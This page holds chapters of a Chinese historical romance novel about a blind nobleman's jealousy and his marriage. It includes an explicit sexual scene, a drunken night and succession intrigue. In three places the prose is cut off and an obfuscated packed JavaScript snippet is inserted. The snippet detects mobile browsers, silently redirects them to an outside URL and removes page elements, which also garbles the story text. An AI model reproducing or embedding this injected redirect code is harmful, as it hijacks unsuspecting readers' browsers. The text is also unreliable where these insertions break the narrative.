姜知瑶觉得这只是一次和人再普通不过的交谈，除了一开始看到余夕照时想到了那条胖锦鲤外，离开后就没有再想什么了。 回到房间后，晏枕溪问：“阿瑶，你午膳有什么想吃的吗？” “都可以。”姜知瑶回道，这里菜的味道确实不错，昨天一天她都没有碰到什么不喜欢的，今天也有点期待等下会有什么菜。 “下午想去哪？” 姜知瑶想了想有些犹豫：“还没想好。” 想逛下另外一边的花园，又有点想和昨天下午一样去垂钓。 “对了。”姜知瑶突然想到什么，“这里好像还可以去摘果。” 姜知瑶之前听侍从介绍，可以亲自体验摘果，有一个大果园，里面有许多种类的果树，有樱桃、苹果、蜜桃、葡萄等等。 她说完后又想到了晏枕溪的眼睛，停顿了一下说道：“其实也不是很想去，有些玩累了，下午想在房间里休息一下。” 姜知瑶其实还好，如果想去也是想和晏枕溪一起，但晏枕溪去了也不能摘果，姜知瑶觉得还是算了，反正山庄里的侍从会送水果过来。 晏枕溪当然知道姜知瑶改口的原因，他张了张嘴，不知道要说什么。 过了一会他状若无意地问道：“阿瑶昨天也遇到那个公子了吗？” 姜知瑶想了一会说道：“余公子吗？遇到了。” 接着她就和晏枕溪说起了昨天遇到时余夕照说的话，然后忍不住笑道：“那条锦鲤真的很可爱呢，竟然是专门游回来，还有我当时和你说它胖的时候它就离开了，之前一直围在我旁边。” “这样吗？”晏枕溪也随着姜知瑶的话轻笑了一下，然后没有再说什么。 下午姜知瑶随便拿了一本书看了起来，用来消遣一下时间。 晏枕溪摸着竹简上的刻字，心不在焉。 他脑海里不由自主地想起了今天上午时的场景。 那位公子眼里的喜爱之情晏枕溪即使隔着眼纱也一眼就看到了，并觉得无比碍眼甚至有些刺眼。 他从来不知道原来自己是一个这么小气的人。 连旁人略带爱慕的视线落在姜知瑶身上都不行。 姑娘？他都没如此喊过姜知瑶。 还有，眼睛是看不见了吗？没看到姜知瑶身边的人吗？阿瑶还牵着自己的手呢。 再说，他就没有一点自知之明吗？他浑身上下有哪点好的，可以配上姜知瑶的？问话前也不看看自己，不过进士之身，相貌也平平，他说话听起来，文采也平平。 看上去是要比自己年轻一些，对于这点晏枕溪无法否认。 晏枕溪向来是不屑与人做比较的，都不过是庸夫，但莫名的，他开始用无比挑剔的目光将余夕照与自己相比起来——以是否适合做姜知瑶的夫君为标准。 就算不说余夕照自身的条件，其他的他也不行，他不知道姜知瑶喜欢吃什么味道的菜、不知道姜知瑶喜欢什么颜色、不知道姜知瑶喜欢什么样子的花草、不知道姜知瑶通常要花多久入睡、不知道姜知瑶喜欢看什么类型的书……总之，余夕照不适合姜知瑶，而这些自己都知道。 明知余夕照比不过自己，但不可控的，他内心还是升起一些危机感，姜知瑶会更喜欢这种吗？意气风发的少年郎？ 晏枕溪自觉自己并不差，但确实缺少了那一份朝气。 姜知瑶会觉得那份朝气更吸引她吗？ 他没来由的感到烦躁，既是对余夕照的，也是对他这，连自己也不愿意承认的嫉妒心。 晏枕溪觉得自己有点可笑，人家不过同姜知瑶说了几句话，他便想出这么多东西来。 但在姜知瑶改口不去摘果时，晏枕溪又感到无比的挫败。 那一瞬间，他想起了姜知瑶因为眼睛而多次迁就自己的时刻。 其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097841|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对于这个，晏枕溪不否认自己的劣根性，他大多时候是享受的，享受姜知瑶对于自己那一份专门的关照，享受因此而与姜知瑶产生的亲近。 喜欢姜知瑶每次出门前紧紧牵着自己的手。 喜欢姜知瑶轻声细语提醒他前面路上的障碍。 喜欢姜知瑶温柔给他说着自己看到的风景。 更喜欢姜知瑶在自己面前放松自然的样子。 但今天，他突然有些惶恐。 这样照顾自己，会不会有天姜知瑶就累了。 她会不会突然发现，其实像余夕照那样有朝气的少年郎更好，毕竟余夕照的眼睛没有问题，她不需要时时刻刻照顾余夕照的感受。 而且余夕照还有那所谓看起来光明的仕途，但在众人眼里，自己的仕途已经断了。 晏枕溪知道姜知瑶不会在意这些，但万一呢。 虽然他将明面上的产业都交给了姜知瑶，钱财上是不缺了，但和仕途相比，在众人眼里还是有着云泥之别。 不，不会的，阿瑶喜欢自己，不是吗？ 而且，她也很喜欢自己的长相不是吗？ 想到这些，晏枕溪就像吃了一颗定心丸一样，突然放下心来。 他以前听着别人对自己长相的称赞，不过淡淡一笑，并不在意，如今倒是庆幸起来，还好自己的相貌能得姜知瑶喜欢。 晏枕溪安慰好了自己，但内心还是有些不安。 他抬眼看向姜知瑶，柔和的阳光越过窗户照在她身上，她正专注的看着自己手中的书籍，一副岁月静好的模样。 晏枕溪强压下情绪，也看起了手中的竹简来。 天色渐渐变暗，夜幕降临。 晏枕溪正在沐浴，姜知瑶洗漱完坐在床上，觉得今天的晏枕溪有些沉默，平日里虽然话也不多，但不会像今天一样，一整个下午和晚上都不怎么说话。 是心情不好吗？晚上用膳时也比之前要少上许多。 姜知瑶犹豫着等会要不要开口问问他。 过了一会，晏枕溪从屏风后面走了出来。 姜知瑶抬眼看去，突然呼吸屏住。 与平时不同，晏枕溪束起了一个高马尾，随意地绑起，马尾有些歪了，还有些碎发没有束起，黏在他的额头、脸颊和脖颈处，发尾微湿，时不时掉下水珠。 脸上的眼纱系得有些松，露出他一点好看的眉眼，不知道是不是沐浴的时候不小心掉入了水中，整个眼纱有些湿漉漉的，黏在上面，有的部分密不可分，沁出些许肉色，像是在亲吻他的眉眼一样。 里衣穿得松松垮垮的，衣襟微微敞开，露出里面白玉般的胸膛。 姜知瑶目不转睛，喉咙有些干涩。 她咽了咽，声音有些哑喊了他一声：“枕溪。” 姜知瑶喊出来的时候，晏枕溪已经走到了她身边，发尾滑下的水珠落到了她的手背上，一个接一个，明明没有声音，但姜知瑶却觉得有滴滴答答的声音。 晏枕溪当然不会错过姜知瑶的神色，虽然湿的眼纱和平时相比有些模糊视野，但他视线一直紧盯着姜知瑶。 姜知瑶有些艰难地移开视线，垂下眼来，盯着床上的花纹看，努力让自己不再把赤裸裸的目光放在晏枕溪身上。 “我发尾有些湿了，阿瑶可以帮我擦擦吗？” 31. 回府 “……好。”姜知瑶应了下来。 擦头发的时候，姜知瑶尽量不让自己的目光放在晏枕溪身上，只是一直看着巾帕。 他肯定是嫌热才会这样穿的，姜知瑶想，她不能乘人之危。 而且姜知瑶觉得，有时主动亲完看到晏枕溪的眼纱时，她会有种莫名的负罪感，好像自己在亵渎他一样，同时，也有种隐秘的兴奋和愉悦。 她真坏啊，姜知瑶咬住了下唇，定了定神，不再想什么。 晏枕溪能感觉到，姜知瑶一直在认真地给自己擦头发，仿佛没有一点其他的心思。 明明昨天还主动亲他了不是吗？怎么今天无动于衷。 心里越发不安起来，他转过身去面对着姜知瑶。 “咦？”姜知瑶手中的发丝滑走，微凉的发尾在手上留下濡湿的感觉，她有些小声地开口提醒，“头发还没擦干呢。” “不擦头发了。”姜知瑶不知道，晏枕溪眼纱下的视线一直紧紧盯着自己。 姜知瑶整个人被他圈住，身边都是他刚沐浴完好闻的香味，姜知瑶觉得有点晕晕乎乎的。 直到过了一会才清醒一点，心里有些疑惑，他为什么不说话了，也没有任何动作？ 晏枕溪低头看着姜知瑶，等了许久也不见她有反应，心里除了不安还多了几分说不清的情绪。 她为什么不来亲我。 太安静了，姜知瑶没忍住想抬眼看晏枕溪，只看一眼，她想。 但这一眼再也没有收回去，晏枕溪原本就系得不牢的眼纱彻底掉了下来，散下来环搭在了脖颈处。 姜知瑶这一眼直接撞进了晏枕溪的眼底。 她不受控制地仰头吻了上去。 在意识模糊的前一秒，姜知瑶想，原来盲人的眼睛是这样的吗？直勾勾地盯着前方，但是，姜知瑶有些疑惑。 她为什么还看出了一点点的委屈。 姜知瑶刚吻上去，晏枕溪之前的故作矜持便全部消失，他扣住姜知瑶，肆无忌惮地吻住她。 像是要把她吞吃入腹一样，等姜知瑶口腔的空气消失殆尽，忍不住想咬他让他停下来的时候，晏枕溪又慢了下来。 轻柔地吻着，吸吮着她的舌尖，姜知瑶舒服的忘掉了原本要阻止他的想法。 结束后，晏枕溪松松垮垮的衣服已经彻底散开，姜知瑶的脸颊不隔任何衣物直接与他胸膛上的肌肤相贴。 “阿瑶。”晏枕溪话语里的热意与他胸膛的滚烫一起烫到了姜知瑶。 晏枕溪抱住姜知瑶放躺在床上，唇瓣下移落在了她的脖颈处。 姜知瑶没有阻止，她现在因为缺氧还有些迷糊。 等她清醒了一点后，看到眼前的场景不由想，现在是在做梦吗？ 向来温润的贵公子略显急切地用齿贝咬住衣襟，因为夏天又是晚上在房间里，其实也没系得很紧。 他很轻易的就掀开了。 感受到被人含住，姜知瑶忍不住发出一些声音。 “阿瑶。”晏枕溪头抬了起来，声音从来没有这么沙哑过，接着又吻住姜知瑶。 “唔。”姜知瑶被吻住的唇齿间不受控制地溢出声音。 往下刚一碰触到那里，发现有些濡湿，晏枕溪没忍住轻笑了一声。 其实晏枕溪早在第一次和姜知瑶亲吻后就想到过这件事了，他想要给姜知瑶一个好的体验，但自己对于那件事情无甚了解，最多不过是梦到过姜知瑶几次而已。 但晏枕溪向来是个好学的人，所以他找了一些书籍仔细研读，现在晏枕溪觉得自己已经知道不少了，可终究不过是纸上谈兵，对于实践，晏枕溪觉得还是得慢慢来，循序渐进，不能一次到底。 晏枕溪的手指上因为常年握笔有些薄茧。 姜知瑶实在受不了，忍不住咬了下他的舌尖。 晏枕溪松开了她的唇瓣，气息拍打在姜知瑶的耳边，晏枕溪带着笑意的低沉声音响起：“阿瑶怎么哪里都这么软啊。” 原本就绯红的脸颊越发热了，姜知瑶瞪了一眼晏枕溪：“不、不许说。” 又是一下，姜知瑶眼里的泪花更多了。 咕啾的声音不断响起，不知过了多久，姜知瑶平复了下来，感觉大脑轻飘飘的，像是陷入了云端。 还没等她缓多久，晏枕溪有些哑的声音就在耳边响起：“阿瑶也帮帮我，好不好。” 迷迷糊糊中，姜知瑶眨了眨湿润的眼睛：“……怎么帮。” 晏枕溪没有说话，牵起了她的手：“乖阿瑶……” 在彻底失去意识前，姜知瑶难得有些恼地想，他为什么总是要问自己好不好，这个时候就不用问了。 不然下次她再听到的时候，忍不住想起了这次怎么办。 - 等姜知瑶第二天起来的时候，已经日上三竿了。 在床上坐起来的时候，姜知瑶觉得有些懵，身上很清爽，昨晚晏枕溪肯定有帮忙清理，想到这里，姜知瑶脸不禁有些发烫。 晏枕溪原本在一旁喝茶，见姜知瑶醒了坐到了床边：“阿瑶起了？” 见姜知瑶一时没有说话，晏枕溪轻笑了一声：“阿瑶，昨晚还舒服吗？” 晏枕溪来讨问他的学习成果了。 姜知瑶红着脸没忍住拍了他一下，虽然是夫妻间正常的，她出嫁前也有所了解，但哪有白天还问这个的。 但她还是如实回答了：“……舒服。” 因为确实很不错。 晏枕溪笑了起来，又挨了姜知瑶的一下打。 用过膳后，晏枕溪问：“阿瑶下午想去哪里？” 姜知瑶想了一会说：“还是去垂钓吧，晚膳有点想吃鱼了。” “阿瑶。”晏枕溪突然喊了她一声，“你会觉得……我很麻烦吗？” “为什么这样说？”姜知瑶有些惊讶。 “因为我陪不了你去做很多事情。”晏枕溪垂眼，“不能陪你去摘果，不能陪你一起赏花……” “不会的。”还没等晏枕溪说完，姜知瑶温声开口。 “这个山庄是你带我来的啊，而且你可以陪我一起游船，一起垂钓，一起逛园林，还可以陪我做很多其他的事情。” 姜知瑶走过去牵起了晏枕溪的手：“你这么会这样想呢。” “我什么时候都不会觉得你麻烦的，我们是夫妻啊。” 姜知瑶主动亲了亲晏枕溪的唇。 晏枕溪被这个吻安抚到了，他轻声开口：“那我们下午去垂钓。” 后面几天在山庄的日子，姜知瑶和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109249|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏枕溪平时就看看书，游下船，逛逛园林，钓钓鱼，时间很快就过去了。 到了要回府的时候了。 “阿瑶明年还想来吗？”晏枕溪看着有些不舍的姜知瑶说道。 “想。”姜知瑶点点头。 “那我们下次再来。”晏枕溪想，下次来，他就可以陪姜知瑶去摘果了，可以和她一起看那条胖锦鲤，一起和她做其他的事情。 回府后，姜知瑶一直在忙着处理府上的事务，过了几天后才有空出来和纪婉清她们一起见面。 “那个山庄好玩吗？”程明珠一见面就有些兴奋地问道。 她们也知道清城，但就是一直没去过，因为路程有些远了，而且也不知道到底体验怎么样。 “好玩。”姜知瑶连连点头，“要是你们也在肯定更好玩。” “好哇。”程明珠笑着说，“明年一起去吧。” 纪婉清也点点头，然后问道：“听说宣公子上门提亲了？” 程明珠难得不好意思起来：“嗯。” “哇。”姜知瑶笑着说，“我就知道，还好团扇我已经快做好啦。” “也不用太着急。”程明珠说道，“我明年春天才会成婚，我爹娘想我在家多待一会。” “你说我们都成婚后，还可以经常一起出来吗？”程明珠突然有些惆怅，“纪婉清马上是三皇子妃了，以后肯定没空，而且感觉成婚后就有好多事情要忙。” 像姜知瑶，有时就要在府上处理一下事务。 “你在乱想些什么？”纪婉清觉得有些哭笑不得，“只是成婚而已，又不是离京了卖身了，怎么可能没有时间出来，提前约好就行了。” 对于纪婉清的话，姜知瑶一向是赞同的，她点点头安慰道：“而且往好处想，到时候我们就多了两个可以一起玩的地方了啊。” 程明珠原本就不是多愁善感的人，听到后也很快不再多想什么，笑着说：“也是啊，反正如果到时候你们不出来，我就把你们两个一起绑出来。” “对了，瑶瑶，你在那个山庄都玩了些什么？”程明珠兴致勃勃地问道。 姜知瑶说完那些天都玩了什么后，程明珠立马说道：“我也想去钓鱼。” 纪婉清想了想说：“要不我们今天就去吧？山庄去不了，钓鱼还是可以的。” 提议获得了一致的认可。 回府用过午膳后，没睡午觉，大家就都出来了。 找到位置，带好渔具，姜知瑶她们很快就开始垂钓了，问过南枝，知道她也想玩后，姜知瑶准备好了两副渔具，一个下午下来，是南枝钓上来的最多。 听到姜知瑶的夸赞，南枝很是高兴，笑着说：“我还会叉鱼！” “哇！”是其他人的惊叹声。 其余人也颇有收获，程明珠看着一条漂亮的小鱼说道：“之前都不知道垂钓如此好玩，我要带这条鱼回家养！” 除了各自带上一两条鱼回府送去厨房外，她们把其他的鱼都送去了慈幼堂。 知道姜知瑶下午去干什么的晏枕溪在晚膳时不经意地说道：“今天的鱼肉格外鲜美啊。” 姜知瑶笑了起来：“是我下午钓的。” “怪不得。”晏枕溪笑道，“原来是阿瑶钓的，很好吃。” 32. 醉酒 天气渐渐凉爽，到纪婉清和三皇子成婚的日子了。 姜知瑶早就收到了请帖，她带着晏枕溪一起前去参加婚宴。 三皇子府门口有人在迎接，姜知瑶和晏枕溪递过请帖和贺礼后，便被安排落座。 婚宴上来的人很多，有朝中官员，也有一些将士，因为人多而且是正式的场合，姜知瑶不好一直牵着晏枕溪，但两个人之间靠得很近，没有人注意到晏枕溪一直在牵着姜知瑶的衣袖。 婚礼进行的很顺利，三皇子全程都笑得很开心，纪婉清入洞房后，许多人围住三皇子敬酒，不让他太早去见新娘子，当然，拦住的大多都是之前军中的将士。 姜知瑶有段时间未参加宴会了，今天在这里和几个之前的朋友见面后，不由多聊上了一会。 刚和人聊完后转头就发现，原本身旁的晏枕溪不见了，说是被三皇子那些人拉去喝酒了。 她一时有些担心，但也不好说什么。 “好了瑶瑶。”程明珠挽住姜知瑶，“不用担心，都有侍从在呢，不要紧，刚好我们多聊会天。” “这道橙酿蟹真不错。”程明珠边吃边说道。 想着这是在三皇子的婚礼上，应该不会出什么意外，姜知瑶放下心来，也尝了一口橙酿蟹：“确实好吃。” 过了一段时间后，三皇子也离开了宴会上，宾客们渐渐离席。 和程明珠道别后，姜知瑶在一旁静静等着晏枕溪。 “阿瑶。”晏枕溪来了，身上有股淡淡的酒气，但并不难闻。 “没事吧？”姜知瑶有些担忧地问道，虽然见晏枕溪并无什么异常，但这是她第一次见晏枕溪饮酒，还是有些担心。 晏枕溪摇摇头：“没事的。” “那我们现在回府吧。”见周围人不多，姜知瑶牵起了晏枕溪的手。 马车上晏枕溪一直没有说话，姜知瑶以为是他累了，也没有开口，只是看着窗外。 之前有些昏暗，回到府上后，姜知瑶才发现晏枕溪的脸上有些潮红。 “真的没事吗？”姜知瑶看着晏枕溪问道。 过了好几秒，晏枕溪才应道：“没事。” 姜知瑶有些怀疑他喝醉了：“我是谁？” “阿瑶。”晏枕溪很快回答道。 “你喝醉了吗？”姜知瑶继续问道。 过了好一会，晏枕溪才慢慢回道：“没有醉。” 语调很慢，还透露出几分笃定的语气。 姜知瑶笑了起来，她让侍从去做了醒酒汤，然后看着晏枕溪喝完了。 已经到就寝的时间了，姜知瑶帮晏枕溪洗漱了一下，便把他放在床边，准备自己去洗漱。 等她洗漱回来的时候，发现晏枕溪还是刚刚她离开时坐着的样子，不仅衣服没有一点变化，连姿势都没有变，端坐在床边。 姜知瑶有些哭笑不得，快步走上去帮他脱下了外衫，接着让他躺在床上，晏枕溪都照做。 看着晏枕溪格外乖巧的样子，姜知瑶不禁笑眼弯弯，弯下腰点了点晏枕溪的脸颊：“你原来喝醉了是这样啊。” 姜知瑶帮晏枕溪解下眼纱，他的脸颊上还有些未褪去的红，看上去有点迟钝，眨眼的频率有些慢，姜知瑶看得心动，没忍住亲了一口。 姜知瑶突然起了一些心思，在晏枕溪耳边轻声问道：“你明早会记得吗？” 听说一些人在酒醒后不会记得自己醉酒时发生的事情。 晏枕溪没有说话，看上去好像没有听懂。 犹豫了一会，姜知瑶伸手捏了捏他的脸，她很早就想这样做了，但一直不太敢上手。 虽然晏枕溪一向对她很纵容，但看着晏枕溪平时太过精致的脸庞和温润的气质，姜知瑶还总是有种不敢冒犯的感觉。 捏起来软软的，看到晏枕溪被捏住的脸，姜知瑶笑了起来。 原本姜知瑶打算现在就睡觉了，可躺下后觉得不再对晏枕溪做什么有些可惜，毕竟这个样子的晏枕溪她还是第一次见。 但姜知瑶也不知道要做些什么，她想了想问：“你叫什么？” “晏枕溪。”晏枕溪听起来很认真地回答。 “你的夫人是谁？” “姜、知、瑶。”晏枕溪一个字一个字郑重地说了出来，然后又说了一句，“是阿瑶。” 姜知瑶笑弯了眼：“牵我的手。” “好。”晏枕溪的手摸索到姜知瑶的，紧紧牵住然后十指相扣。 “抱抱我。”姜知瑶想了想还是觉得不够，“要抱紧一点。” 回应她的是晏枕溪一个结实的拥抱，晏枕溪把姜知瑶揽入怀中，一只手环抱住姜知瑶的腰，另一只手抱住姜知瑶的肩膀，紧紧抱着像是想嵌入怀中。 “等等。”姜知瑶努力扒开晏枕溪的手臂，“有点、有点太紧了，稍微放开一点。” 她的脸都整个压在晏枕溪的胸膛上了，有些硬硬的不舒服。 闻言晏枕溪的手臂松开了一点，但还是抱得很紧。 姜知瑶头枕在晏枕溪的手臂上，看着晏枕溪那让她心生欢喜的脸庞说道：“亲亲我的眼睛。” 晏枕溪立马凑了过来，但不仅是眼睛，亲了几下眼睛后，他顺着亲了下去，鼻子、脸颊，嘴巴，一下下啄吻着。 “好了好了。”姜知瑶连忙制止道，晏枕溪这才停了下来。 姜知瑶看着晏枕溪那漂亮的眼睛，把一根手指放在晏枕溪的睫毛下面一点：“你眨眨眼。” 晏枕溪听话照做。 感受到指腹上传来的痒意，姜知瑶又笑了起来：“可以了。” 说完又主动拨弄了几下晏枕溪的睫毛。 “怎么长的。”姜知瑶小声嘟囔着，“连睫毛都这么好看。” 晏枕溪没有说话，只是又眨了几下眼睛。 姜知瑶的手指滑落在晏枕溪的鼻子上，突然使坏，捏起了晏枕溪的鼻尖，晏枕溪脸上没有一点反应，姜知瑶很快就松开。 往下，是晏枕溪的嘴唇，姜知瑶抚摸着他的唇线，拿指腹在晏枕溪的唇瓣上按了按。 “听说嘴唇薄的人也薄情。”姜知瑶想起了这个说法，她轻声问道，“你是吗？” 还没等晏枕溪说什么，姜知瑶又立马说道：“算了，说这个干什么。” “睡了睡了。”姜知瑶把手缩了回来，闭上了眼睛。 过了一小会想起什么睁开眼，看见晏枕溪还没闭上眼睛，她对晏枕溪轻声说道：“你明天起来什么都不记得。” 像是掩耳盗铃一般， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123247|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜知瑶又说了一遍，然后似是不放心，最后加了句：“知道吗？” “知道。”晏枕溪点头回道。 姜知瑶听到回应后，放下心来重新闭上了眼睛，今天一天有些累了，她很快就意识模糊，快要进入梦乡。 在姜知瑶彻底要睡着前，她听到了一道熟悉的声音，声音很轻又很认真：“我永远不会对阿瑶薄情的。” 姜知瑶原本有些微微皱起的眉头舒展开来。 早晨醒来后，晏枕溪已经都洗漱穿戴好了。 见姜知瑶醒来，晏枕溪温声问道：“阿瑶，我昨晚有些醉了，什么都不记得了，有做什么奇怪的事情吗？” “没有。”姜知瑶立马摇头，然后像是掩饰般加了句，“你昨晚一回来就睡着了。” “那就好。”晏枕溪笑道，“没有打扰到阿瑶就好。” “没有打扰，你昨晚很乖的。”意识到自己说了什么后，姜知瑶有些懊恼地住嘴，她怎么把心里话说出来了啊。 晏枕溪轻声笑了下，像是没听清姜知瑶说了什么，没有再说这个话题。 怎么能这么可爱。 晏枕溪眼纱下的眼睛满是笑意，手指微微摩挲着杯盏边缘。 - “原来皇子府这么大的吗？”程明珠边逛边好奇的说。 离纪婉清成婚已经过去了七八天的时间，今天姜知瑶和程明珠被邀请到府上做客。 姜知瑶也好奇地到处观赏。 “今日留在这里用膳吧。”纪婉清笑着说，“尝尝这里的厨师的手艺。” “下午我们再去逛逛其他的园子。” “好。”姜知瑶和程明珠都答应了下来。 过了一会，不远处三皇子府的一处竹园。 听到侍从前来告诉晏枕溪的话，三皇子大声笑了起来：“你还让我早点说完，好回去陪夫人用膳，没想到吧，你夫人今天中午根本不回去哈哈。” “三皇子。”没等三皇子笑多久，一个侍从上前低声和他说，“三皇子妃说今日要和姜夫人还有程小姐一起用膳，让您不用前去。” “咳咳。”三皇子有些尴尬地清了清嗓子，干笑了两声，“同是天涯沦落人啊。” 晏枕溪没理他，低头喝了口杯中的茶，淡声说道：“马上就是中秋了。” “是啊。”三皇子的脸上变得沉重起来，“先过好中秋吧。” “前几天去皇宫的时候，看起来他已经快不行了。”三皇子叹了一口气，“还是不愿意见我。” “写好传位诏书了吗？”晏枕溪问。 三皇子摇摇头：“没有，若是有的话吴桂会立马传出消息来的。” “也是好笑。”三皇子的脸上面露讥讽的神色，“他向来最疼爱的四皇子一次没前去看望过他，倒是那个二皇子一直在床边守着，但他的心思是个人都看得出来。” “算了，有什么好说的。”三皇子自嘲地笑了一声，“我连他的寝殿都进不去。” “再过一段时间，那就是你的了。”晏枕溪放下手中的茶盏平静地说道。 “是啊。”三皇子又笑了起来，眼底满是不加掩饰的野心，“希望他能挺过中秋吧，这还是我和婉清成婚后过的第一个节日，可不能被打扰了。” 33. 中秋 “这里还有！”姜知瑶抖了抖手里的小篮子说道。 “好嘞！小姐，我现在过来。”是南枝的声音。 今天是中秋节，姜知瑶打算做桂花糕和月饼，她正在和南枝一起摘花园里的桂花。 几颗两三米高的桂花树种在花园的一角，淡黄色的小小的桂花开满枝头，发出馥郁的芳香。 偶然有人走过都会染上一身的香气。 姜知瑶弯腰躲过低处的树枝，又发现了几簇还未被人摘过的桂花。 过了一会。 “这些应该够了吧？”姜知瑶看着自己和南枝手上篮中满满当当的桂花。 南枝笑道：“肯定够了，桂花树都要被薅秃了。” 摘过桂花后，姜知瑶和南枝去往了厨房。 还未做多久，便听见门口传来一道温润的声音：“阿瑶？” “我在呢。”姜知瑶看向门口，然后走过去把晏枕溪牵了进来，“你怎么来了？” “他们说你在厨房，我便过来寻你。”晏枕溪说道，他看着落在姜知瑶发间的几朵桂花，不禁有些手痒，想帮她把桂花摘下来。 晏枕溪笑着微微俯身说道：“阿瑶身上全是桂花香呢。” “我刚刚和南枝去摘桂花啦。”姜知瑶边说边拿起了一旁装桂花的篮子，“摘了很多。” “我们打算做桂花糕和月饼。” “有什么是我可以帮忙的吗？”晏枕溪问道。 “你会做面团吗？”姜知瑶想了想问道。 “不会。”晏枕溪摇摇头，“但是我可以学，阿瑶教教我。” 姜知瑶把晏枕溪拉到放着做面团的东西前面，帮他把要放的淀粉糖浆等按比例放入后说道：“接下来就交给你了，只要一直这样揉就好了。” “好的。”晏枕溪点点头。 临近中午，桂花糕和月饼都已经做好了。 月饼之前的中秋节，姜知瑶都会和纪婉清还有南枝一直做，早已熟练，但桂花糕还是第一次做。 本来也没打算做桂花糕的，但是前几日路过花园看到那几棵桂花树，看着上面繁茂的桂花，想着如果不做桂花糕就有些可惜了。 “好吃吗？”姜知瑶尝了一个桂花糕，觉得还挺好吃的，甜而不腻，又不失桂花淡淡的清香，但还是有些不放心，拿了一个喂给南枝问道。 “好吃！”南枝连连点头。 还没等姜知瑶说什么，便听到一旁的晏枕溪问道：“阿瑶，已经做好了吗？” “噢噢。”姜知瑶这才想起来他也在厨房里，之前面团揉好后，姜知瑶想着他也做不了什么，但是晏枕溪也不愿意离开，便找人拿了一个凳子让他坐在一旁。 然后就和南枝一起在厨房里忙碌着，竟一时忘记了他也在。 姜知瑶用筷子夹了一个桂花糕走了过去，递到晏枕溪的唇边：“你尝尝，是桂花糕。” 晏枕溪尝过后笑着说道：“好吃。” “那就好。”见两个人都说好吃，姜知瑶也放下心来。 中秋节，姜知瑶给府上的侍从都放了一天假，让他们好去和亲人一起团圆，所以府中现在显得有些冷清。 但府中的上上下下都已经被装饰过，还是有几分节日的氛围。 下午姜知瑶和晏枕溪待在书房里下棋。 拿起一旁已经剥好的柚子，姜知瑶吃了一口便皱起脸来。 好酸。 这是府上的柚子树结的，看到结果后姜知瑶就有些兴致冲冲的要摘下来尝尝。 前面几颗柚子吃起来还好，是那种酸酸甜甜的，但今日的这颗明显太酸了。 看着面前还在思索下一步棋要下在哪里的晏枕溪，姜知瑶故作不经意地问道：“枕溪，要尝尝柚子吗？” “好啊。”听见晏枕溪同意后，姜知瑶露出一点得逞的笑容。 姜知瑶拿起一小瓣递给晏枕溪，如愿见到了他被酸到而皱起的脸。 她没忍住笑了起来：“怎么样？” “很酸。”晏枕溪认真地说道，然后拿开了那一碟柚子，“阿瑶不要吃。” 闻言姜知瑶突然有些淡淡的愧疚，她又拿起一旁的蜜饯递给晏枕溪：“吃颗蜜饯。” “好。”晏枕溪应下，但姜知瑶却迟迟不见他接过，以为是他不知道在哪，姜知瑶微微前倾递到了晏枕溪的唇边。 晏枕溪这才接过，笑着向姜知瑶道谢：“阿瑶真好。” “咳咳。”姜知瑶侧头没有看他，“我们接着下棋吧。” 太阳渐渐西沉，远处的霞光彻底消失后，一轮圆月代替太阳发出点点辉光。 用过晚膳后，姜知瑶待在院子里，看了一会月亮后有些无聊地绣着手中的香囊。 之前摘的桂花除了一些用去做桂花糕外还剩下许多，姜知瑶打算拿它做几个香囊。 但她此刻有些心不在焉，以往在京城里每次中秋节的晚上，她都会出去逛灯会。 虽然中秋灯会的规模不及元宵，但也是难得的玩乐。 算了，想着晏枕溪的眼睛，姜知瑶垂眸，其实不去也没什么。 南枝已经去逛灯会了，等下听南枝回来讲讲就好了。 晏枕溪当然看出了姜知瑶的心不在焉，刺绣的速度要比以往慢上许多，还时不时地看向外面，但他不知道是为什么，于是试探地问道：“阿瑶，今日中秋，你还有什么想做的吗？” “没有。”姜知瑶不想让晏枕溪为难，没有说出来。 晏枕溪想了一会，才意识到今晚是有灯会的，以往他从来都不会去，只是听人提及过。 “阿瑶，去逛灯会吗？” “可以吗？”姜知瑶立马回道，然后才意识到自己好像表露出了什么来，转而说道，“还是不了，香囊还没绣完。” “阿瑶是担心我吗？”晏枕溪轻声说道，“其实是我想去，但是害怕我的眼睛，会不会有点麻烦阿瑶……” “不会的。”姜知瑶连忙说道，“你想去吗？我一直牵着你的手就好了，不会麻烦的。” “想去。”晏枕溪说，“阿瑶不觉得麻烦就好。” 过了一会，他们两人出了府。 姜知瑶紧紧牵着晏枕溪的手，还有些不放心的叮嘱道：“千万不能松开，人很多的，不然就走散了。” “好。”晏枕溪牵住姜知瑶的手也更用力了一些。 灯会里的人很多，还有许多各种样式精巧的灯笼，看得姜知瑶应接不暇。 